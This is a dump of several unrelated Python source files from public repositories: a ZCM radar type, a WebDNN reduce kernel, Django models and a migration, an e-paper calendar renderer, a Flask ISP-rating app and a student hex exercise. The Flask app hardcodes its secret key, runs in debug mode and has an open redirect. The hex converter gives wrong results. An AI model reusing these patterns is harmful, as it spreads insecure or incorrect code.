ui.app.exec_()#start the app main loop
| [
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] | |
bd031ca3faf9692f3fb3882ce3bc08d8ac7d2d09 | 1bf76b07d880ca31e1d10b8b9e24a4a8924fcfc1 | /zcm_types/radar_conti/py_types/ZcmRadarContiClustersScan.py | f6c388403515cf037c2215aa94ccd473a6b42651 | [] | no_license | Sher10k/ZCM_gui_player | c02498477f732094c748bfd990c78973ce3e5794 | f590fe3ed877ecf56b4f91981b66e291027f233f | refs/heads/master | 2021-01-04T03:47:34.211248 | 2020-02-16T23:18:39 | 2020-02-16T23:18:39 | 240,367,440 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,734 | py | """ZCM type definitions
This file automatically generated by zcm.
DO NOT MODIFY BY HAND!!!!
"""
try:
import cStringIO.StringIO as BytesIO
except ImportError:
from io import BytesIO
import struct
from ZcmRadarContiCluster import ZcmRadarContiCluster
from ZcmService import ZcmService
class ZcmRadarContiClustersScan(object):
__slots__ = ["service", "scan_size", "clusters"]
def __init__(self):
self.service = ZcmService()
self.scan_size = 0
self.clusters = []
def encode(self):
buf = BytesIO()
buf.write(ZcmRadarContiClustersScan._get_packed_fingerprint())
self._encode_one(buf)
return buf.getvalue()
def _encode_one(self, buf):
assert self.service._get_packed_fingerprint() == ZcmService._get_packed_fingerprint()
self.service._encode_one(buf)
buf.write(struct.pack(">h", self.scan_size))
for i0 in range(self.scan_size):
assert self.clusters[i0]._get_packed_fingerprint() == ZcmRadarContiCluster._get_packed_fingerprint()
self.clusters[i0]._encode_one(buf)
def decode(data):
if hasattr(data, 'read'):
buf = data
else:
buf = BytesIO(data)
if buf.read(8) != ZcmRadarContiClustersScan._get_packed_fingerprint():
raise ValueError("Decode error")
return ZcmRadarContiClustersScan._decode_one(buf)
decode = staticmethod(decode)
def _decode_one(buf):
self = ZcmRadarContiClustersScan()
self.service = ZcmService._decode_one(buf)
self.scan_size = struct.unpack(">h", buf.read(2))[0]
self.clusters = []
for i0 in range(self.scan_size):
self.clusters.append(ZcmRadarContiCluster._decode_one(buf))
return self
_decode_one = staticmethod(_decode_one)
_hash = None
def _get_hash_recursive(parents):
if ZcmRadarContiClustersScan in parents: return 0
newparents = parents + [ZcmRadarContiClustersScan]
tmphash = (0x3e4c48c585f0ea97+ ZcmService._get_hash_recursive(newparents)+ ZcmRadarContiCluster._get_hash_recursive(newparents)) & 0xffffffffffffffff
tmphash = (((tmphash<<1)&0xffffffffffffffff) + ((tmphash>>63)&0x1)) & 0xffffffffffffffff
return tmphash
_get_hash_recursive = staticmethod(_get_hash_recursive)
_packed_fingerprint = None
def _get_packed_fingerprint():
if ZcmRadarContiClustersScan._packed_fingerprint is None:
ZcmRadarContiClustersScan._packed_fingerprint = struct.pack(">Q", ZcmRadarContiClustersScan._get_hash_recursive([]))
return ZcmRadarContiClustersScan._packed_fingerprint
_get_packed_fingerprint = staticmethod(_get_packed_fingerprint)
| [
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] | |
786eb25c7e387dd452a84dd798b224c7a20eaa98 | 5b4fe473179b5fadaf59ec96d55b2ec4cb326f65 | /src/graph_transpiler/webdnn/backend/webgl/kernels/reduce.py | 213fb08c2ab5753e04407908731bd158bdf8fcba | [
"Zlib",
"MIT"
] | permissive | TarrySingh/webdnn | 13d3f1ec4936916abacfb67e270f48571e2fcff2 | b31b19de0798d8ca198b78d19cb06e4fce1bc260 | refs/heads/master | 2021-05-07T02:24:47.500746 | 2017-11-13T13:00:24 | 2017-11-13T13:00:24 | 110,582,816 | 0 | 1 | null | 2017-11-13T18:03:46 | 2017-11-13T18:03:46 | null | UTF-8 | Python | false | false | 6,293 | py | from collections import namedtuple
from typing import Type, Dict, Callable, Union
from webdnn.backend.code_generator.injectors.kernel_name_injector import KernelNameInjector
from webdnn.backend.webgl.generator import WebGLDescriptorGenerator
from webdnn.backend.webgl.kernel import Kernel
from webdnn.backend.webgl.kernels.util import texture_stride, texture_shape, FragmentShaderPreamble, simplify_orders
from webdnn.backend.webgl.uniform_injector import UniformInjector
from webdnn.graph.axis import AxisKeyDict
from webdnn.graph.operators.elementwise import Elementwise
from webdnn.graph.operators.reduce import Reduce
from webdnn.util.misc import mul
RegisteredItem = namedtuple('RegisteredItem', ['OperatorClass',
'pre_reduction_snippet',
'body_snippet',
'post_reduction_snippet',
'parameters'])
_registered_items = {} # type: Dict[Type[Elementwise], RegisteredItem]
def _generate_template_convert_position(op: Reduce, reduction_size: int):
uniform_snippets = [f"""
%%UNIFORM(sampler2D, sampler_x)%%;
%%UNIFORM(vec2, texture_shape_x)%%;
%%UNIFORM(vec2, texture_stride_x)%%;
%%UNIFORM(vec4, variable_shape_x)%%;
%%UNIFORM(vec4, variable_stride_x)%%;
"""]
for key, callable in _registered_items[op.__class__].parameters.items():
typename = "float" if isinstance(callable(op), float) else "int"
uniform_snippets.append(f"%%UNIFORM({typename}, {key})%%;")
pre_reduction_snippet = _registered_items[op.__class__].pre_reduction_snippet
body_snippet = _registered_items[op.__class__].body_snippet
post_reduction_snippet = _registered_items[op.__class__].post_reduction_snippet
uniform_snippet = "\n".join(uniform_snippets)
return FragmentShaderPreamble + f"""
%%UNIFORM(vec2, texture_stride_y)%%;
%%UNIFORM(vec4, variable_shape_y)%%;
%%UNIFORM(vec4, variable_stride_y)%%;
{uniform_snippet}
void main() {{
vec4 variable_position_y = convert_position(gl_FragCoord.xy, texture_stride_y, variable_stride_y, variable_shape_y);
vec4 variable_position_x = mod(variable_position_y, variable_shape_x); // broadcast
const int n_x = {reduction_size};
float y;
{pre_reduction_snippet}
for (int i_x = 0; i_x < {reduction_size}; i_x++) {{
variable_position_x.w = float(i_x) + 0.5;
float x = texture2D(sampler_x, convert_coord(variable_position_x, variable_stride_x, texture_stride_x, texture_shape_x)).r;
{{
{body_snippet}
}}
}}
{post_reduction_snippet}
gl_FragColor = vec4(y, 0, 0, 0);
}}
"""
def register_reduction_kernel(OperatorClass: Type[Reduce],
body_snippet: str,
pre_reduction_snippet: str = "",
post_reduction_snippet: str = "",
parameters: Dict[str, Callable[[Reduce], Union[int, float]]] = None):
"""
register reduction kernel
you can use follow pre-defined variables in all snippets.
- `y` output value.
- `n_x` number of input elements (readonly).
Also you can use follow variables only in body snippet.
- `x` each input element (readonly)
- `i_x` current `x`'s index (readonly)
.. Examples:: Define a kernel which returns maximum value
register_reduction_kernel(
Max,
pre_reduction_snippet="y = -1.0e10;", // initialize "y" with very smalle value
body_snippet="y = x > y ? x : y;",
)
"""
WebGLDescriptorGenerator.register_handler(OperatorClass)(reduce_kernel)
_registered_items[OperatorClass] = RegisteredItem(
OperatorClass=OperatorClass,
pre_reduction_snippet=pre_reduction_snippet,
body_snippet=body_snippet,
post_reduction_snippet=post_reduction_snippet,
parameters={} if parameters is None else parameters
)
def reduce_kernel(op: Reduce):
x = op.inputs["x"]
y = op.outputs["y"]
axis = op.axis
orders, shape_dicts = simplify_orders([x, y], keep_axes=[axis])
# Padding shapes and strides to 4D
if orders[y].ndim > 4:
raise NotImplementedError(f"Too large number of dimension: {y}")
shapes = {v: [shape_dicts[v][a] for a in orders[v].axes] for v in [x, y]}
strides = {v: [mul(shapes[v][orders[v].axes_dict[a] + 1:]) for a in orders[v].axes] for v in [x, y]}
stride_dicts = {v: AxisKeyDict(orders[v].axes, strides[v]) for v in [x, y]}
# Change x's shapes and strides order to same as y's order
x_virtual_shape = [shape_dicts[x][a] if a in orders[x].axes else 1 for a in orders[y].axes]
x_virtual_stride = [stride_dicts[x][a] if a in orders[x].axes else 1 for a in orders[y].axes]
while len(x_virtual_shape) < 3:
x_virtual_stride.append(1)
x_virtual_shape.append(stride_dicts[x][axis])
x_virtual_shape.append(shape_dicts[x][axis])
x_virtual_stride.append(stride_dicts[x][axis])
y_virtual_shape = shapes[y]
y_virtual_stride = strides[y]
while len(y_virtual_shape) < 4:
y_virtual_stride.append(1)
y_virtual_shape.append(1)
name_injector = KernelNameInjector(op)
uniform_injector = UniformInjector()
uniform_injector.register({
"texture_stride_y": texture_stride(y),
"variable_shape_y": y_virtual_shape,
"variable_stride_y": y_virtual_stride,
f"sampler_x": x,
f"texture_shape_x": texture_shape(x),
f"texture_stride_x": texture_stride(x),
f"variable_shape_x": x_virtual_shape,
f"variable_stride_x": x_virtual_stride,
})
for name, callable in _registered_items[op.__class__].parameters.items():
uniform_injector.register({
name: callable(op)
})
# Computing logical position is required.
source = _generate_template_convert_position(op, reduction_size=shape_dicts[x][axis])
source = uniform_injector.inject(source)
source = name_injector.inject(source)
kernel = Kernel(
source,
name_injector.name,
uniform_injector.samplers,
uniform_injector.uniforms,
y
)
return [kernel]
| [
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] | |
43851ca9d9d2b010e1506a6e2e040a1b3d240ad0 | 350873b97f470488678d5d24e595737f0fc3ced2 | /core/migrations/0033_auto_20170301_1258.py | 874e8230f20d432d24d948f6098c4f523a846acd | [] | no_license | Scaledesk/ase | a2435745f7fbae252eb7af30223d4d59e1070817 | 891b8d5945b554ae5666c146eca342d649d48ae7 | refs/heads/master | 2021-01-22T20:26:14.603745 | 2017-05-16T10:14:22 | 2017-05-16T10:14:22 | 85,322,355 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 541 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.9 on 2017-03-01 12:58
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('core', '0032_auto_20170301_1238'),
]
operations = [
migrations.AlterField(
model_name='project',
name='profile',
field=models.ForeignKey(default=0, on_delete=django.db.models.deletion.CASCADE, to='core.Profile'),
),
]
| [
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] | |
6b6b96b46498ebc58ff5adf1dd527ed649ea1e5c | 3f19816f6027c0f6feaf53d1928cda9d77842c23 | /draw/__init__.py | 66d17fb048179455c6c026667c3b076cf2c695b4 | [
"MIT"
] | permissive | RyoheiTomiyama/e-paper-calendar | b6e8be83c587641021b2ded5b7ed350c85812eaa | d575ee62e96772a83daded2c9afcafcf8cab68c2 | refs/heads/main | 2023-07-01T21:42:37.629253 | 2021-08-08T07:06:48 | 2021-08-08T07:06:48 | 387,192,158 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 12,596 | py | from weather import Weather
import pytz
import calendar as cal
from datetime import date, datetime
from dateutil.parser import parse
from typing import List, Tuple
import numpy as np
from PIL import Image, ImageDraw, ImageFont
Width, Height = int, int
# image size
SIZE = (800, 480)
MAIN_WIDTH = 334
FONTS = dict(
en='./Fonts/Marcellus-Regular.ttf',
ja='./Fonts/NotoSansJP-Bold.otf',
num='./Fonts/Cardo-Regular.ttf',
title='./Fonts/PinyonScript-Regular.ttf',
number='./Fonts/Krungthep.ttf',
)
# color scale
COLORS = dict(
black=(0, 0, 0),
red=(255, 0, 0),
white=(255, 255, 255)
)
LOCALE = 'Asia/Tokyo'
WEEKDAY = ('Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun')
def get_calendar(year: int, month: int):
month_dates = cal.Calendar(cal.SUNDAY).monthdatescalendar(year, month)
return month_dates
class Draw:
# EPDで描画するときに、黒と赤を別画像から描画するので、2色の画像を用意する
# def display(self, imageblack, imagered):
img_black: Image.Image
img_red: Image.Image
draw_black: ImageDraw.ImageDraw
draw_red: ImageDraw.ImageDraw
today: date
def __init__(self):
# create a new image
self.img_black = Image.new('RGB', SIZE, COLORS['white'])
self.img_red = Image.new('RGB', SIZE, COLORS['white'])
self.draw_black = ImageDraw.Draw(self.img_black)
self.draw_red = ImageDraw.Draw(self.img_red)
self.today = date.today()
def get_font(self, name: str, size: int):
return ImageFont.truetype(FONTS[name], size)
def get_rect(self, text: str, font_name: str, font_size: int) -> Tuple[Width, Height]:
bbox = self.draw_black.multiline_textbbox(
(0, 0), text,
font = self.get_font(font_name, font_size)
)
width = bbox[2] - bbox[0]
height = bbox[3] - bbox[1]
return width, height
# https://pillow.readthedocs.io/en/stable/reference/ImageDraw.html#PIL.ImageDraw.ImageDraw.textsize
def get_textsize(self, text: str, font_name: str, font_size: int) -> Tuple[Width, Height]:
textsize = self.draw_black.multiline_textsize(
text,
font = self.get_font(font_name, font_size)
)
width = textsize[0]
height = textsize[1]
return width, height
def padding_width(self, width: int, text: str, font_name: str, font_size: int):
rect = self.get_rect(text, font_name, font_size)
return (width - rect[0]) // 2
def padding_height(self, height: int, text: str, font_name: str, font_size: int):
rect = self.get_rect(text, font_name, font_size)
textsize = self.get_textsize(text, font_name, font_size)
return (height - rect[1] + textsize[1]) // 2
def save_image(self, file_name: str = f'{SIZE[0]}x{SIZE[1]}'):
saved_image = Image.new('RGB', SIZE, COLORS['white'])
for x in range(SIZE[0]):
for y in range(SIZE[1]):
pixel_black = self.img_black.getpixel((x, y))
pixel_red = self.img_red.getpixel((x, y))
if pixel_black[0] != 255 or pixel_black[1] != 255 or pixel_black[2] != 255:
saved_image.putpixel((x, y), pixel_black)
if pixel_red[0] != 255 or pixel_red[1] != 255 or pixel_red[2] != 255:
saved_image.putpixel((x, y), pixel_red)
file_path = f'./output/{file_name}.bmp'
saved_image.save(file_path, 'bmp')
def convert_multiline_text(self, text: str, font_name: str, font_size: int, width):
lines: List[str] = []
line_text = ''
for i, t in enumerate(text):
rect = self.get_rect(
line_text + t,
font_name,
font_size
)
if rect[0] > width:
lines.append(line_text)
line_text = t
else:
line_text = line_text + t
if len(text) == i + 1:
lines.append(line_text)
return lines
def draw_monthly_calendar(self):
if not self.draw_black or not self.draw_red:
return
calendar = get_calendar(self.today.year, self.today.month)
# calendar = get_calendar(2018, 12)
month_size = 12
wrap_padding = 5
draw_width = MAIN_WIDTH - wrap_padding * 2
month_padding = self.padding_width(draw_width, self.today.strftime("%B"), 'number', month_size)
self.draw_black.multiline_text(
(month_padding + wrap_padding, 32 + 30 * 7),
self.today.strftime("%B"),
fill = COLORS['black'],
font = self.get_font('number', month_size),
)
month_size = 20
month_padding = self.padding_width(draw_width, str(self.today.month), 'number', month_size)
self.draw_black.multiline_text(
(month_padding + wrap_padding, 12 + 30 * 7),
str(self.today.month),
fill = COLORS['black'],
font = self.get_font('number', month_size),
)
w_day = draw_width // 7
x_start: np.ndarray = np.arange(7) * w_day
weekday_s = ['S', 'M', 'T', 'W', 'T', 'F', 'S']
for i, text in enumerate(weekday_s):
w_pad = self.padding_width(w_day, text, 'number', 12)
color = COLORS['red'] if i == 0 else COLORS['black']
draw = self.draw_red if i == 0 else self.draw_black
draw.multiline_text(
(x_start[i] + w_pad + wrap_padding, 270),
text,
font = self.get_font('number', 12),
fill = color,
)
if color == COLORS['red']:
self.draw_black.multiline_text(
(x_start[i] + w_pad + wrap_padding, 270),
text,
font = self.get_font('number', 12),
fill = COLORS['black'],
)
# show the dates
for h, row in enumerate(calendar):
for i, d in enumerate(row):
text = d.day
if text == 0:
continue
w_pad = self.padding_width(w_day, str(text), 'number', 16)
color = COLORS['black']
draw = self.draw_black
if i == 0:
color = COLORS['red']
draw = self.draw_red
if d.month is not self.today.month:
color = (160, 160, 160)
draw = self.draw_black
# color = COLOR['red'] if i == 0 or text in holidays else COLOR['black']
draw.multiline_text(
(x_start[i] + w_pad + wrap_padding, 300 + 30 * h),
str(text),
font = self.get_font('number', 16),
fill = color
)
if color == COLORS['red']:
self.draw_black.multiline_text(
(x_start[i] + w_pad + wrap_padding, 300 + 30 * h),
str(text),
font = self.get_font('number', 16),
fill = COLORS['black']
)
def draw_schedules(self, schedules):
wrap_padding = 5
h_schedule = (SIZE[1] - wrap_padding * 2) // 10
font_size = 15
for i, schedule in enumerate(schedules):
s_name: str = schedule['name']
s_datetime: datetime = schedule['datetime']
s_datetime = s_datetime.astimezone(pytz.timezone(LOCALE))
if s_name is None or s_datetime is None:
continue
# draw date
# if i > 0:
prev_schedule_datetime: datetime = schedules[i - 1]['datetime']
is_same_date = s_datetime.strftime('%m/%d') == prev_schedule_datetime.astimezone(pytz.timezone(LOCALE)).strftime('%m/%d')
if not is_same_date:
s_date = s_datetime.strftime('%m/%d')
h_pad = self.padding_height(h_schedule, s_date, 'number', font_size)
self.draw_black.multiline_text(
(10 + MAIN_WIDTH, wrap_padding + h_pad + (h_schedule * i) + 1),
s_date,
font = self.get_font('number', font_size),
anchor = 'lm',
fill = COLORS['black']
)
# draw time
s_time = s_datetime.strftime('%H:%M')
h_pad = self.padding_height(h_schedule, s_time, 'number', font_size)
rect = self.get_rect(s_time, 'number', font_size)
self.draw_black.multiline_text(
(70 + MAIN_WIDTH, wrap_padding + h_pad + (h_schedule * i)),
s_time,
font = self.get_font('number', font_size),
anchor = 'lm',
fill = COLORS['black'],
)
# draw line for date
line_start = wrap_padding + (h_pad // 2) + (h_schedule * i)
line_end = line_start + rect[1] + (h_pad // 2)
if is_same_date:
line_start = line_start - (h_schedule // 2)
self.draw_black.line(
((126 + MAIN_WIDTH, line_start), (126 + MAIN_WIDTH, line_end)),
fill = COLORS['black'],
width = 1,
)
# draw schedule title
lines = self.convert_multiline_text(s_name, 'ja', font_size, SIZE[0] - MAIN_WIDTH)
text = str('\n'.join(lines[:3]))
h_pad = self.padding_height(h_schedule, text, 'ja', font_size)
self.draw_black.multiline_text(
(140 + MAIN_WIDTH, wrap_padding + h_pad + (h_schedule * i)),
text,
font = self.get_font('ja', font_size),
anchor = 'lm',
fill = COLORS['black']
)
def draw_today(self):
wrap_padding = 5
month_text = str(self.today.month) + '/'
month_font_name = 'number'
month_font_size = 24
self.draw_black.multiline_text(
(wrap_padding + 5, wrap_padding + 18),
month_text,
font = self.get_font(month_font_name, month_font_size),
fill = COLORS['black']
)
month_textsize = self.get_textsize(month_text, month_font_name, month_font_size)
day_text = str(self.today.day)
day_font_name = 'number'
day_font_size = 50
self.draw_black.multiline_text(
(month_textsize[0] + 10, wrap_padding + 10),
day_text,
font = self.get_font(day_font_name, day_font_size),
fill = COLORS['black']
)
day_textsize = self.get_textsize(day_text, day_font_name, day_font_size)
week_text = WEEKDAY[self.today.weekday()]
week_font_name = 'number'
week_font_size = 24
self.draw_black.multiline_text(
(month_textsize[0] + day_textsize[0] + 15, wrap_padding + 36),
week_text,
font = self.get_font(week_font_name, week_font_size),
fill = COLORS['black']
)
def draw_weather(self, weather: Weather):
font_name = 'number'
temp_text = f'{weather.temp.current}°'
temp_font_size = 54
self.draw_black.multiline_text(
(175, 110),
temp_text,
font = self.get_font(font_name, temp_font_size),
fill = COLORS['black'],
)
info_font_size = 18
info_text = f'{weather.temp.min}°/{weather.temp.max}°'
self.draw_black.multiline_text(
(206, 55),
info_text,
font = self.get_font(font_name, info_font_size),
fill = COLORS['black'],
)
temp_img = Image.open('./assets/images/temp.jpg', )
self.img_black.paste(temp_img, (177, 54))
info_text = f'{weather.humidity}%'
self.draw_black.multiline_text(
(206, 25),
info_text,
font = self.get_font(font_name, info_font_size),
fill = COLORS['black'],
)
temp_img = Image.open('./assets/images/humidity.jpg', )
self.img_black.paste(temp_img, (177, 23))
weather_img = Image.open(f'./assets/images/{weather.icon}.jpg', )
self.img_black.paste(weather_img, (27, 85))
def draw_separate_line(self):
self.draw_black.line(
((MAIN_WIDTH, 0), (MAIN_WIDTH, SIZE[1])),
fill = COLORS['black'],
width = 2,
)
| [
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356ef9e3329de23e51cf1e0cc01be397e47d74ff | 0b8edff80aafabb8464c7306307fd26c1f45998f | /account/models.py | 3100ac39f732c35f45b558050ec14d6ec4bf4dd6 | [] | no_license | Aizdylagady/python9_shop | 4c2fa00cc4d9515ffadc8bd202a665dfbb4dad2c | 79103e944fd71a2571abf6000963a85ed8b53645 | refs/heads/master | 2023-03-10T11:37:12.549005 | 2021-02-24T08:33:15 | 2021-02-24T08:33:15 | 340,354,590 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,596 | py | from django.contrib.auth.base_user import AbstractBaseUser, BaseUserManager
from django.db import models
# Create your models here.
class UserManager(BaseUserManager):
def _create_user(self, email, password, **extra_fields):
if not email:
raise ValueError('Email is required')
email = self.normalize_email(email)
user = self.model(email=email, **extra_fields)
user.set_password(password)
user.save(using=self._db)
return user
def create(self, email, password, **extra_fields):
extra_fields.setdefault('is_superuser', False)
return self._create_user(email, password, **extra_fields)
def create_superuser(self, email, password, **extra_fields):
extra_fields.setdefault('is_superuser', True)
extra_fields.setdefault('is_active', True)
extra_fields.setdefault('is_staff', True)
if extra_fields.get('is-superuser') is False:
raise ValueError('Super users must have is_superuser=True')
return self._create_user(email, password, **extra_fields)
class User(AbstractBaseUser):
email = models.EmailField(max_length=100, primary_key=True) # primary key - атрибут true- значение
is_active = models.BooleanField(default=False)
name = models.CharField(max_length=100, blank=True)
last_name = models.CharField(max_length=100, blank=True)
is_superuser = models.BooleanField(default=False)
is_staff = models.BooleanField(default=False)
activation_code = models.CharField(max_length=15, blank=True) # via email
USERNAME_FIELD = 'email'
REQUIRED_FIELDS = []
objects = UserManager()
def has_perm(self, perm, pbj=None):
return self.is_superuser
def has_module_perms(self, app_label):
return self.is_staff
# TODO: Отображение продуктов и категорий
# TODO: Регистрация Активация Логин
# TODO: Загрузка и отображение картинок
# TODO: Верстка
# TODO: Формы
# TODO: CRUD
# TODO: Поиск и фильтрация
# TODO: Пагинация
# TODO: смена пароля
# TODO: забыли пароль
# TODO: smtp
def create_activation_code(self):
from django.utils.crypto import get_random_string
code = get_random_string(15)
if User.objects.filter(activation_code=code).exists():
self.create_activation_code()
self.activation_code = code
self.save(update_fields=['activation_code'])
| [
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4472e211cff9d0c13eac53c06d7b05c6e7a0850b | 540c789a69a4622cf2b5c4348df60530a4807587 | /oculus.py | 782bbe711619bd535a0f67bc18ac8756b390bbe5 | [] | no_license | npmcdn-to-unpkg-bot/oculus | d8ff3da3bdde7a7c52b77ff6db370fb432b638b4 | f6878c5f691b7e3dab785d876d6db7cbf2f53b58 | refs/heads/master | 2020-12-28T22:11:18.866417 | 2016-08-06T08:24:58 | 2016-08-06T08:24:58 | 67,377,471 | 0 | 0 | null | 2016-09-05T01:14:28 | 2016-09-05T01:14:27 | null | UTF-8 | Python | false | false | 9,168 | py | from flask import Flask, request, redirect, url_for, render_template, flash, g
from flask_login import LoginManager, login_required, login_user, logout_user, current_user
from sqlalchemy import func
from utils import *
app = Flask(__name__)
app.secret_key = 'A0Zr98j/3yX R~XHH!jmN]LWX/,?RT'
login_manager = LoginManager()
login_manager.init_app(app)
login_manager.login_view = '/login'
@app.route('/')
def index():
return render_template('home.html')
@app.route('/welcome')
@login_required
def welcome():
isp_entries, services_entries, ratings_entries, servicemetric_entries = dropdown()
return render_template('welcome.html', isp_entries=isp_entries, services_entries=services_entries,
ratings_entries=ratings_entries, servicemetric_entries=servicemetric_entries)
@app.route('/react')
def react():
return render_template('react.html')
@app.route('/survey')
@login_required
def survey():
isp_entries, services_entries, ratings_entries, servicemetric_entries = dropdown()
return render_template('take_survey.html', isp_entries=isp_entries, services_entries=services_entries,
ratings_entries=ratings_entries, servicemetric_entries=servicemetric_entries)
@app.route('/home')
def home():
return render_template('home.html')
@app.route('/view_my_ratings', methods=['GET', 'POST'])
@login_required
def view_my_ratings():
# my_service_ratings = Service_metric_ratings.query.filter_by(user_id=g.user.user_id).order_by(
# Service_metric_ratings.pub_date.desc()).all()
my_service_ratings = db.session.query(User.email, Isps.isp_name, Service_metric.metric_name, Services.service_name,
Ratings.ratings_value, Ratings.ratings_comment,
Service_metric_ratings.custom_rating_comment, Service_metric_ratings.pub_date) \
.filter(Service_metric_ratings.user_id == User.user_id) \
.filter(Service_metric_ratings.ratings_value == Ratings.ratings_value) \
.filter(Service_metric_ratings.service_id == Services.service_id) \
.filter(Service_metric_ratings.metric_id == Service_metric.metric_id) \
.filter(Service_metric_ratings.isp_id == Isps.isp_id) \
.filter_by(user_id=g.user.user_id) \
.order_by(Service_metric_ratings.pub_date.desc()).all()
# for i in my_service_ratings:
# print i.Isps.isp_name
return render_template('view_my_ratings.html', my_service_ratings=my_service_ratings)
@app.route('/build_service_report', methods=['GET', 'POST'])
@login_required
def build_service_report():
isp_entries, services_entries, ratings_entries, servicemetric_entries = dropdown()
return render_template('query_average_isp_ratings.html', isp_entries=isp_entries, services_entries=services_entries,
servicemetric_entries=servicemetric_entries)
@app.route('/view_average_isp_ratings', methods=['GET', 'POST'])
@login_required
def view_average_isp_ratings():
if request.method == 'GET':
return render_template('query_average_isp_ratings.html')
metric_name = request.form['metric_name']
service_name = request.form['service_name']
if not metric_name:
flash('KPI is required', 'danger')
elif not service_name:
flash('service_name is required', 'danger')
else:
isp_ratings_per_service = db.session.query(func.count(Ratings.ratings_value).label('count_of_users'),
func.sum(Ratings.ratings_value).label('sum_of_ratings'),
func.avg(Ratings.ratings_value).label('avg_of_ratings'),
Isps.isp_name, Service_metric.metric_name, Services.service_name) \
.filter(Service_metric_ratings.isp_id == Isps.isp_id) \
.filter(Service_metric_ratings.ratings_value == Ratings.ratings_value) \
.filter(Service_metric_ratings.metric_id == Service_metric.metric_id) \
.filter(Service_metric_ratings.user_id == User.user_id) \
.filter(Service_metric_ratings.service_id == Services.service_id) \
.filter(Service_metric.metric_name == metric_name) \
.filter(Services.service_name == service_name) \
.group_by(Isps.isp_name)
ratings_table_values = db.session.query(Ratings.ratings_value, Ratings.ratings_comment)
# for i in isp_ratings_per_service:
# print(i.isp_name, i.service_name, i.metric_name, (round(i.avg_of_ratings)))
# ratings_table_values = Ratings.query.filter_by(rating_value=(round(i.avg_of_ratings)))
return render_template('view_average_isp_ratings.html',
isp_ratings_per_service=isp_ratings_per_service,
ratings_table_values=ratings_table_values)
@app.route('/rate_isp_service', methods=['GET', 'POST'])
@login_required
def rate_isp_service():
isp_entries, services_entries, ratings_entries, servicemetric_entries = dropdown()
if request.method == 'POST':
metric_id = request.form['metric_id']
isp_id = request.form['isp_id']
service_id = request.form['service_id']
ratings_value = request.form['ratings_value']
custom_rating_comment = request.form['custom_rating_comment']
if not metric_id:
flash('KPI is required', 'danger')
elif not isp_id:
flash('ISP is required', 'danger')
elif not service_id:
flash('service_name is required', 'danger')
elif not ratings_value:
flash('ratings_id is required', 'danger')
elif not custom_rating_comment:
flash('custom_rating_comment is required', 'danger')
else:
user_service_ratings = Service_metric_ratings(metric_id, isp_id, service_id, ratings_value,
custom_rating_comment)
exists = db.session.query(Service_metric_ratings.user_id, Service_metric_ratings.metric_id, Service_metric_ratings.service_id,
Service_metric_ratings.isp_id) \
.filter(Service_metric_ratings.metric_id == metric_id, \
Service_metric_ratings.isp_id == isp_id, \
Service_metric_ratings.service_id == service_id) \
.filter_by(user_id=g.user.user_id).count()
if exists:
flash('You have already provided ratings for this service , edit it instead', 'danger')
else:
user_service_ratings.user = g.user
db.session.add(user_service_ratings)
db.session.commit()
flash('Data successfully Added', 'success')
return render_template('rate_isp_service.html', isp_entries=isp_entries, services_entries=services_entries,
ratings_entries=ratings_entries, servicemetric_entries=servicemetric_entries)
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'GET':
return render_template('register.html')
password = request.form['password']
email = request.form['email']
user = User(password, email)
exists = db.session.query(User.user_id).filter_by(email=email).scalar() is not None
if exists:
flash(email + ' is already registered , Login if you remember the password ', 'danger')
return render_template('login.html')
else:
db.session.add(user)
db.session.commit()
flash('User successfully registered', 'success')
return redirect(url_for('login'))
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
email = request.form['email']
password = request.form['password']
remember_me = False
if 'remember_me' in request.form:
remember_me = True
registered_user = User.query.filter_by(email=email).first()
if registered_user is None:
flash('Your Username and Password dont exist', 'danger')
return redirect(url_for('login'))
if not registered_user.check_password(password):
flash('Password is invalid', 'danger')
return redirect(url_for('login'))
else:
login_user(registered_user, remember=remember_me)
# flash('Thank you ' + email + ' for using our site ,we greatly appreciate you sharing your experiences', 'success')
return redirect(request.args.get('next') or url_for('rate_isp_service'))
@app.route('/logout')
@login_required
def logout():
logout_user()
flash('You have logged out ,thank you for your contribution', 'success')
return redirect(url_for('login'))
@login_manager.user_loader
def user_loader(email):
"""Given *user_id*, return the associated User object.
:param unicode user_id: user_id (email) user to retrieve
"""
return User.query.get(str(email))
@app.before_request
def before_request():
g.user = current_user
if __name__ == '__main__':
app.run(debug=True) | [
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] | |
aa40b0cbb6794b86f4f6b97b7a6089daf2122cb8 | 455a09dc62682d91e0974305a985d80df773d850 | /ToetsJoost/opgave_1.py | dca1f34a33d34d95fda8f1541f5764dcb845b446 | [] | no_license | joerihofman/pythonjoostjoeri | 8e4890fecb1c09411b8875aecd6a9ec691ee9b7d | e45edeb0711d26f7df406a22376479e4e9e98661 | refs/heads/master | 2021-06-07T13:03:24.857534 | 2016-10-24T10:14:03 | 2016-10-24T10:14:03 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 760 | py | # convert an integer to a hex digit (a character)
hexnumber = []
def hex_char(value):
if value <= 9 and value >= 0:
return chr(value + ord('0'))
else:
return chr(value - 10 + ord('A'))
# convert a decimal to a hex as a string
def to_hex(decimal):
global hexnumber
while decimal > 0:
if decimal > 15:
hexnumber.append('F')
decimal -= 15
else:
hexnumber.append(hex_char(decimal))
decimal -=decimal
return hexnumber
def main():
global hexnumber
var = int(input('Voer een integer waarde in'))
to_hex(var)
print(str(hexnumber).strip('[]'))
#assert to_hex(12345) == '3039', 'functie werkt'
#assert to_hex(0) == '0', 'niet ok'
main()
| [
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] | |
